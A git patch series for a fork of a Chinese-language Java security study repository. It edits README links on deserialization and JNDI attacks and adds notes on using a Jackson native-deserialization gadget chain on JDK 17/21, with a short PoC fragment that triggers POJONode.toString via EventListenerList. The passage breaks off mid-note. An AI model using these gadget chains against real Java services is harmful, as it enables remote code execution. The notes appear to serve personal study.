From 6819506b46620778c9b0aed24f9d672727f709df Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 14:42:26 +0800 Subject: [PATCH 01/32] =?UTF-8?q?Create=20Java=E5=8E=9F=E7=94=9F=E5=8F=8D?= =?UTF-8?q?=E5=BA=8F=E5=88=97=E5=8C=96Jackson=E4=BE=9D=E8=B5=96=E5=BA=93Ga?= =?UTF-8?q?dget?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...5\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 "2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" diff --git "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" new file mode 100644 index 0000000..505e1fb --- /dev/null +++ "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" @@ -0,0 +1,3 @@ +对于Java原生反序列化漏洞,Gadget链的挖掘是其中的难点。 +Jackson依赖库(com.fasterxml.jackson.core:jackson-databind,版本>=2.10.0,当前最新版本为2.13.4)在产品中频繁出现,如Spring框架本身依赖jackson。 +Jackson依赖库存在通用原生反序列化利用gadget。 From fda9a923dfb91ff8869772bc7efeac5163977127 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 14:44:39 +0800 Subject: [PATCH 02/32] =?UTF-8?q?Delete=202.=E5=8F=8D=E5=BA=8F=E5=88=97?= =?UTF-8?q?=E5=8C=96=E4=B8=93=E5=8C=BA/Java=E5=8E=9F=E7=94=9F=E5=8F=8D?= =?UTF-8?q?=E5=BA=8F=E5=88=97=E5=8C=96Jackson=E4=BE=9D=E8=B5=96=E5=BA=93Ga?= =?UTF-8?q?dget?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...5\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" | 3 --- 1 file changed, 3 deletions(-) delete mode 100644 "2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" diff --git "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" deleted file mode 100644 index 505e1fb..0000000 --- "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" +++ /dev/null @@ -1,3 +0,0 @@ -对于Java原生反序列化漏洞,Gadget链的挖掘是其中的难点。 -Jackson依赖库(com.fasterxml.jackson.core:jackson-databind,版本>=2.10.0,当前最新版本为2.13.4)在产品中频繁出现,如Spring框架本身依赖jackson。 -Jackson依赖库存在通用原生反序列化利用gadget。 From 4758e6f4010a9e65b9c68ddd56d2e28a4b845c02 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 14:47:06 +0800 Subject: [PATCH 03/32] =?UTF-8?q?Create=20Java=E5=8E=9F=E7=94=9F=E5=8F=8D?= =?UTF-8?q?=E5=BA=8F=E5=88=97=E5=8C=96Jackson=E4=BE=9D=E8=B5=96=E5=BA=93Ga?= =?UTF-8?q?dget?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" | 1 + 1 file changed, 1 insertion(+) create mode 100644 "2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" diff --git "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" new file mode 100644 index 0000000..8b13789 --- /dev/null +++ "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" @@ -0,0 +1 @@ + From 6ea9190c9334bddf0334d00e3b9de1494850a559 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 14:48:13 +0800 Subject: [PATCH 04/32] =?UTF-8?q?Create=20Java=E5=8E=9F=E7=94=9F=E5=8F=8D?= =?UTF-8?q?=E5=BA=8F=E5=88=97=E5=8C=96Jackson=E4=BE=9D=E8=B5=96=E5=BA=93Ga?= =?UTF-8?q?dget.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget.md" | 1 + 1 file changed, 1 insertion(+) create mode 100644 "2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget.md" diff --git "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget.md" "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget.md" new file mode 100644 index 0000000..8b13789 --- /dev/null +++ "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget.md" @@ -0,0 +1 @@ + From 08ad0ea8fc4ed8c1340db87d5fdedcd28892bec8 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 14:48:24 +0800 Subject: [PATCH 05/32] =?UTF-8?q?Delete=202.=E5=8F=8D=E5=BA=8F=E5=88=97?= =?UTF-8?q?=E5=8C=96=E4=B8=93=E5=8C=BA/Java=E5=8F=8D=E5=BA=8F=E5=88=97?= =?UTF-8?q?=E5=8C=96Gadget=E6=8C=96=E6=8E=98=E4=B8=8E=E5=88=A9=E7=94=A8/Ja?= =?UTF-8?q?va=E5=8E=9F=E7=94=9F=E5=8F=8D=E5=BA=8F=E5=88=97=E5=8C=96Jackson?= =?UTF-8?q?=E4=BE=9D=E8=B5=96=E5=BA=93Gadget?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" | 1 - 1 file changed, 1 deletion(-) delete mode 100644 "2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" diff --git "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" deleted file mode 100644 index 8b13789..0000000 --- "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget" +++ /dev/null @@ -1 +0,0 @@ - From 75cbb0cecb9c814f2e34d4da6958c1fea445d8b8 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 14:51:00 +0800 Subject: [PATCH 06/32] =?UTF-8?q?Delete=202.=E5=8F=8D=E5=BA=8F=E5=88=97?= =?UTF-8?q?=E5=8C=96=E4=B8=93=E5=8C=BA/Java=E5=8F=8D=E5=BA=8F=E5=88=97?= =?UTF-8?q?=E5=8C=96Gadget=E6=8C=96=E6=8E=98=E4=B8=8E=E5=88=A9=E7=94=A8/Ja?= =?UTF-8?q?va=E5=8E=9F=E7=94=9F=E5=8F=8D=E5=BA=8F=E5=88=97=E5=8C=96Jackson?= =?UTF-8?q?=E4=BE=9D=E8=B5=96=E5=BA=93Gadget.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget.md" | 1 - 1 file changed, 1 deletion(-) delete mode 100644 "2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget.md" diff --git "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget.md" "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget.md" deleted file mode 100644 index 8b13789..0000000 --- "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\217\215\345\272\217\345\210\227\345\214\226Gadget\346\214\226\346\216\230\344\270\216\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget.md" +++ /dev/null @@ -1 +0,0 @@ - From b5117339024c1ea972b49402ef5fba4fc87c6a20 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 14:52:45 +0800 Subject: [PATCH 07/32] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 87f4e22..874ef97 100644 --- a/README.md +++ b/README.md @@ -49,6 +49,7 @@ 很早前学了,后面补上,更多是说一点关键的东西,不会很详细,好吧这里再拓展成反序列化专区好了 如果想系统学习CC链、CB链的话这部分还是推荐p牛的[Java安全漫谈](https://github.com/phith0n/JavaThings),我只是简单写写便于自己复习而已(这部分看我下面的share并不适合新人,过了这么久看过网上很多文章还是觉得P牛写的更适合新人) +https://fushuling.com/index.php/2023/01/30/java%E5%AE%89%E5%85%A8%E7%AC%94%E8%AE%B0/ - [Java 反序列化取经路(强推)](https://su18.org/post/ysuserial/) - [Java反序列化之URLDNS](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BURLDNS/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BURLDNS.md) From ecb4bdd5112afce47831e20004dc9ca1ef63a975 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 14:54:20 +0800 Subject: [PATCH 08/32] Update README.md --- README.md | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) diff --git a/README.md b/README.md index 874ef97..c256d51 100644 --- a/README.md +++ b/README.md @@ -2,17 +2,7 @@ # JavaSec -![JavaSec](https://socialify.git.ci/Y4tacker/JavaSec/image?description=1&font=Source%20Code%20Pro&forks=1&issues=1&language=1&name=1&owner=1&pulls=1&stargazers=1&theme=Dark) - -## 0.For Me - -仅仅只是想写给自己看 - -一个记录我Java安全学习过程的仓库,本仓库不是真正意义上的教学仓库(rep中的内容都是我在平时的一些笔记没有很强逻辑性,内容水平自然也是参差不齐,可能有些对我来说很简单的便忽略不计对其他人来说却是难点,因此作为一个学习目录的话可能会好很多),单纯这是笔者简单记一些笔记,顺便见证自己从0到0.1的过程吧,另外后面如果看到一些好的东西在学习完之后也会贴上链接,少了很多介绍性的东西,以后等厉害了再慢慢补充吧.当然如果感觉还不错的话,师傅们记得给个 Star 呀 ~ - -

@Y4tacker

- -

2021年10月18日,梦的开始

+从Y4那里Fork来自用的魔改笔记 ## 1.基础篇 From bc0c351a10e0a57f8ba19e5d601b6736258983b2 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 16:40:50 +0800 Subject: [PATCH 09/32] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index c256d51..a23260a 100644 --- a/README.md +++ b/README.md @@ -260,7 +260,7 @@ https://fushuling.com/index.php/2023/01/30/java%E5%AE%89%E5%85%A8%E7%AC%94%E8%AE ## 10.关于JNDI的整理 因为比较重要单独列出来了 - +- https://goodapple.top/archives/696 - [Java RMI 攻击由浅入深(深入源码,师傅写的很好)](https://su18.org/post/rmi-attack/) - [如何绕过高版本 JDK 的限制进行 JNDI 注入利用](https://paper.seebug.org/942/#classreference-factory) - (自己写的流程补充)[高低版JDK下的JNDI注入绕过流程跟踪](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%B5%81%E7%A8%8B%E8%B7%9F%E8%B8%AA/%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%B5%81%E7%A8%8B%E8%B7%9F%E8%B8%AA.md) From aafff4e6589da4aa79310e9c50f4200786e47f09 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 16:54:28 +0800 Subject: [PATCH 10/32] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index a23260a..1741566 100644 --- a/README.md +++ b/README.md @@ -89,6 +89,7 @@ https://fushuling.com/index.php/2023/01/30/java%E5%AE%89%E5%85%A8%E7%AC%94%E8%AE - [Jackson原生反序列化Gadgets(实用)](https://xz.aliyun.com/t/12485#toc-5) - [Jackson构造过程会触发利用导致中断可通过重写类解决(附上demo学习)](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson%E4%B8%93%E5%8C%BA/Jackson%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadget/Jackson.txt(%E6%94%B9zip%E5%90%8E%E7%BC%80%E8%A7%A3%E5%8E%8B).txt) - [从JSON1链中学习处理JACKSON链的不稳定性(使用JdkDynamicAopProxy让触发更稳定)](https://xz.aliyun.com/t/12846#toc-4) + - 高版本JDK的Jackson利用链:http://101.36.122.13:4000/2025/08/31/%E9%AB%98%E7%89%88%E6%9C%ACJDKSpring%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE/ - Fastjson From e68e385d27ceb0efab82db78dcbb7d1d4f21011e Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 17:07:53 +0800 Subject: [PATCH 11/32] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 1741566..48ce35c 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ # JavaSec -从Y4那里Fork来自用的魔改笔记 +从Y4大佬那里Fork来自用的魔改笔记 ## 1.基础篇 @@ -89,7 +89,7 @@ https://fushuling.com/index.php/2023/01/30/java%E5%AE%89%E5%85%A8%E7%AC%94%E8%AE - [Jackson原生反序列化Gadgets(实用)](https://xz.aliyun.com/t/12485#toc-5) - [Jackson构造过程会触发利用导致中断可通过重写类解决(附上demo学习)](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson%E4%B8%93%E5%8C%BA/Jackson%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadget/Jackson.txt(%E6%94%B9zip%E5%90%8E%E7%BC%80%E8%A7%A3%E5%8E%8B).txt) - [从JSON1链中学习处理JACKSON链的不稳定性(使用JdkDynamicAopProxy让触发更稳定)](https://xz.aliyun.com/t/12846#toc-4) - - 高版本JDK的Jackson利用链:http://101.36.122.13:4000/2025/08/31/%E9%AB%98%E7%89%88%E6%9C%ACJDKSpring%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE/ + - [高版本JDK的Jackson利用链](http://101.36.122.13:4000/2025/08/31/%E9%AB%98%E7%89%88%E6%9C%ACJDKSpring%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE/) - Fastjson From af46faa83cf688f15126e06ef0b3c5168ab04142 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 17:31:49 +0800 Subject: [PATCH 12/32] Create 1 --- .../1" | 1 + 1 file changed, 1 insertion(+) create mode 100644 "2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/1" diff --git "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/1" "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/1" new file mode 100644 index 0000000..8b13789 --- /dev/null +++ "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/1" @@ -0,0 +1 @@ + From 60f54470a40f7d029f54f3d912a9fa8981c3dc24 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 17:32:24 +0800 Subject: [PATCH 13/32] =?UTF-8?q?Create=20Java=E5=8E=9F=E7=94=9F=E5=8F=8D?= =?UTF-8?q?=E5=BA=8F=E5=88=97=E5=8C=96Jackson=E4=BE=9D=E8=B5=96=E5=BA=93Ga?= =?UTF-8?q?dget=E5=9C=A8=E9=AB=98=E7=89=88=E6=9C=ACJDK=E4=B8=8B=E7=9A=84?= =?UTF-8?q?=E5=88=A9=E7=94=A8.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...34\254JDK\344\270\213\347\232\204\345\210\251\347\224\250.md" | 1 + 1 file changed, 1 insertion(+) create mode 100644 "2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250.md" diff --git "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250.md" "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250.md" new file mode 100644 index 0000000..8b13789 --- /dev/null +++ "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250.md" @@ -0,0 +1 @@ + From 5ba9be57fc2400bb07638992e7487c75bb16259c Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 17:34:05 +0800 Subject: [PATCH 14/32] =?UTF-8?q?Update=20Java=E5=8E=9F=E7=94=9F=E5=8F=8D?= =?UTF-8?q?=E5=BA=8F=E5=88=97=E5=8C=96Jackson=E4=BE=9D=E8=B5=96=E5=BA=93Ga?= =?UTF-8?q?dget=E5=9C=A8=E9=AB=98=E7=89=88=E6=9C=ACJDK=E4=B8=8B=E7=9A=84?= =?UTF-8?q?=E5=88=A9=E7=94=A8.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...13\347\232\204\345\210\251\347\224\250.md" | 190 ++++++++++++++++++ 1 file changed, 190 insertions(+) diff --git "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250.md" "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250.md" index 8b13789..56779ca 100644 --- "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250.md" +++ "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250.md" @@ -1 +1,191 @@ +#### 高版本jdk下的突破(jdk17、21复现) + +原版的打法是反序列化`BadAttributeValueExpException`时触发`val`属性的`toString`,来触发`POJONode.toString`,使得其调用`TemplatesImpl`的`getOutputProperties`从而动态加载字节码 + +而在高版本jdk中,`BadAttributeValueExpException`的val属性变成`String`了,无法在反序列化时触发`toString`;`TemplatesImpl`因为模块化的强封装而完全不能使用 + +##### BadAttributeValueExpException绕过 + +这个比较简单,触发toString的链的有很多,这里采用`EventListenerList`链来触发`toString`, + +链条是`EventListenerList.readObject -> POJONode.toString`,主要是利用字符串与对象的拼接触发 + +poc如下 + +```java +javax.swing.event.EventListenerList list = new javax.swing.event.EventListenerList(); +UndoManager manager = new UndoManager(); +Vector vector = (Vector) getFieldValue(manager.getClass(),manager, "edits"); +vector.add(pojoNode); +setValue(list, "listenerList", new Object[]{InternalError.class, manager}); +``` + +##### TemplatesImpl模块化的强封装的绕过 + +**模块化封装:** + +从 JDK 9 开始,Java 引入了 JPMS(Java Platform Module System,模块系统),也就是著名的 Project Jigsaw 。在 JDK 17及以上中,这一机制已经被完全强化,具体体现为: + +- 内部 API 封装:以前我们可以随意`import com.sun.*`或者 `sun.*` 的内部类,但在 JDK 17及以上, 这些类已经被模块系统强封装,默认不可访问。 +- 强封装机制:模块之间的可见性由 `module-info.java` 描述,如果某个包没有被 `exports` ,外部模块就无法直接访问。 +- 反射限制:在 JDK 8 及之前,我们常常通过 `setAccessible(true)` 绕过 